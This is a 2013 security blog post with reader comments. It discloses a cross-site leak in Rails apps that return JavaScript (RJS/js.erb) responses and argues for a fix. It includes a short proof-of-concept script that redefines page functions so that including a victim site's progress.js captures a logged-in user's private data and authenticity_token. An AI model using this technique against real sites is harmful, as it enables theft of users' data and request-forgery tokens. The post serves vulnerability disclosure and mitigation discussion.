Friday, November 29, 2013

RJS leaking vulnerability in multiple Rails applications.

I wrote about this problem in May, without showcases, just a theoretical post http://homakov.blogspot.com/2013/05/do-not-use-rjs-like-techniques.html

It didn't help. Now I want people to take the issue seriously. This is a huge unsolved problem.

Developers have a tool which they don't know how to properly use. So they use it how they feel convenient. It leads to security breach. Reminds mass-assignment bug (sorry, i have to mention it every day to feel important)

How it works?
Attacker redefines RJS function(s), asks authorized user to visit specially crafted page and leaks data (which the user has access to) and his authenticity_token. Very similar to how JSONP works.
<script>
  var bcx = {progress: {}};
  var $ = function() {
    return {prepend: function(data) {
      window.data = data
    }}
  };
</script>
<script src="https://basecamp.com/2474985/progress.js"></script>

If it has any HTML form in it (especially when people use render_to_string), it also has user's authenticity_token automatically.
So RJS leaks 1) authenticity_token 2) a lot of private data. Thus the bug is as serious as XSS (can read responses + can craft proper requests). = must be fixed?





Some people are +1, some found it "useful in our projects" (=vulnerable), also DHH is against my proposal:
Not only are js.erb templates not deprecated, they are a great way to develop an application with Ajax responses where you can reuse your server-side templates. It's fine to explore ways to make this more secure by default, but the fundamental development style of returning JS as a response is both architecturally sound and an integral part of Rails. So that's not going anywhere.
What's left to do? Demonstrate with full disclosure: Gitlab, Redmine, Diaspora, Spree, Basecamp etc.






And this is only a tiny part of vulnerable apps we have out there. Let's choose our next actions wisely:
  1. find a way to deny cross-site inclusion of JS templates, not breaking whole technique
  2. remove whole :js responder as an insecure technique
  3. don't not do anything about it
Documentation is not an option. I wrote my RJS blog post in May, after half a year nobody still cares.

Is my app vulnerable?
If there are any .js.erb file under /app/views, most likely it is. Author of this article can perform a security audit for you, to make sure.

8 comments:

  1. DHH's comment was really unfortunate. While I've never used RJS myself, I do use some of the applications that are affected by this security exploit and I'd certainly love if Rails removed this hack (RJS) as soon as possible.

    Right now I guess I should be considering using an anonymous session for general navigation to avoid having my private data in affected sites stolen by some evil site... :( Pretty sad David's position :(

    If you told me that I should stop doing something in my app I'd be just thankful and would stop doing it even before I really knew why it was dangerous...

    ReplyDelete
  2. A fix for gitlab ?

    https://github.com/gitlabhq/gitlabhq/commit/da10cad1da7039a346f1f0d32325d8be4c3a1c56#diff-76918abb7bd6880e0d522635de6413fb

    ReplyDelete
  3. Couldn't you just require authenticity_token on all JS requests?

    ReplyDelete
    Replies
    1. yes but .xhr? is better. Script tag request can't add new headers, but theoretically can add token

      Delete
    2. FWIW, according to CVE-2011-0447, there are ways for attackers to forge headers on requests; that's when Rails started doing CSRF checks on AJAX POSTs, which it hadn't been doing previously. (CVE-2011-0696 is the same thing for Django.)

      On the flip side, the mitigation for that CVE included having Rails apps send the CSRF token with *all* AJAX requests, including GETs, so no changes client-side should be needed in most apps to send the CSRF token. You just have to check it.

      Rails writeup on the earlier problem: http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails/

      Delete
    3. come on, of course i know about that. ajax GET doesnt need it.

      Delete